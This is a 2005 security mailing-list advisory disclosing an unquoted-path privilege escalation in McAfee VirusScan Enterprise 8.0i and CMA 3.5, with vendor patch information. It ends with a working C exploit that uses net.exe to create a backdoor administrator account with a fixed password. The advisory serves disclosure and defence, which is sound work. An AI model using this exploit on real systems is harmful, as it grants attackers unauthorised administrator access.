Date: Thu, 22 Dec 2005 10:16:09 -0700
From: Reed Arvin <reedarvin@gmail.com.>
To: [email protected]Subject: Privilege escalation in McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5)
In-Reply-To: <80115b690512220913m26a1d71eia3ca4e6e9ef52042@mail.gmail.com.>
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References: <80115b690512220913m26a1d71eia3ca4e6e9ef52042@mail.gmail.com.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
( Original article: http://reedarvin.thearvins.com/20051222-01.html )
Summary:
Privilege escalation in McAfee VirusScan Enterprise 8.0i (patch 11)
and CMA 3.5 (patch 5) (http://www.mcafee.com/)
Details:
By default the naPrdMgr.exe process runs under the context of the
Local System account. Every so often it will run through a process
where it does the following:
- Attempts to run \Program Files\Network Associates\VirusScan\EntVUtil.EXE
- Reads C:\Program Files\Common Files\Network Associates\Engine\SCAN.DAT
- Reads C:\Program Files\Common Files\Network Associates\Engine\NAMES.DAT
- Reads C:\Program Files\Common Files\Network Associates\Engine\CLEAN.DAT
The issue occurs when the naPrdMgr.exe process attempts to run the
C:\Program Files\Network Associates\VirusScan\EntVUtil.EXE file.
Because of a lack of quotes the naPrdMgr.exe process first tries to
run C:\Program.exe. If that is not found it tries to run C:\Program
Files\Network.exe. When that is not found it finally runs the
EntVUtil.EXE file that it was originally intending to run. A malicious
user can create an application named Program.exe and place it on the
root of the C:\ and it will be run with Local System privileges by the
naPrdMgr.exe process. Source code for an example Program.exe is listed
below.
Vulnerable Versions:
McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5)
Patches/Workarounds:
The vendor has released knowledge base article kb45256 to address the issue=
.
Solution one from the vendor:
"This issue is resolved in Patch 12."
Solution two from the vendor:
"The VirusScan Enterprise plugin VSPLUGIN.DLL has been updated to
resolve the potential exploit. The new plugin is available as a HotFix
from McAfee Tier III Technical Support."
Exploits:
// =3D=3D=3D=3D=3D Start Program.c =3D=3D=3D=3D=3D=3D
#include <windows.h>
#include <stdio.h>
INT main( VOID )
{
CHAR szWinDir[ _MAX_PATH ];
CHAR szCmdLine[ _MAX_PATH ];
GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n" );
wsprintf( szCmdLine, "%s\\system32\\net.exe user Program=20
Pr0gr@m$$ /add", szWinDir );
system( szCmdLine );
printf( "Adding user \"Program\" to the local Administrators group...\n=
" );
wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup
Administrators Program /add", szWinDir );
system( szCmdLine );
return 0;
}
// =3D=3D=3D=3D=3D End Program.c =3D=3D=3D=3D=3D=3D
Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/ )
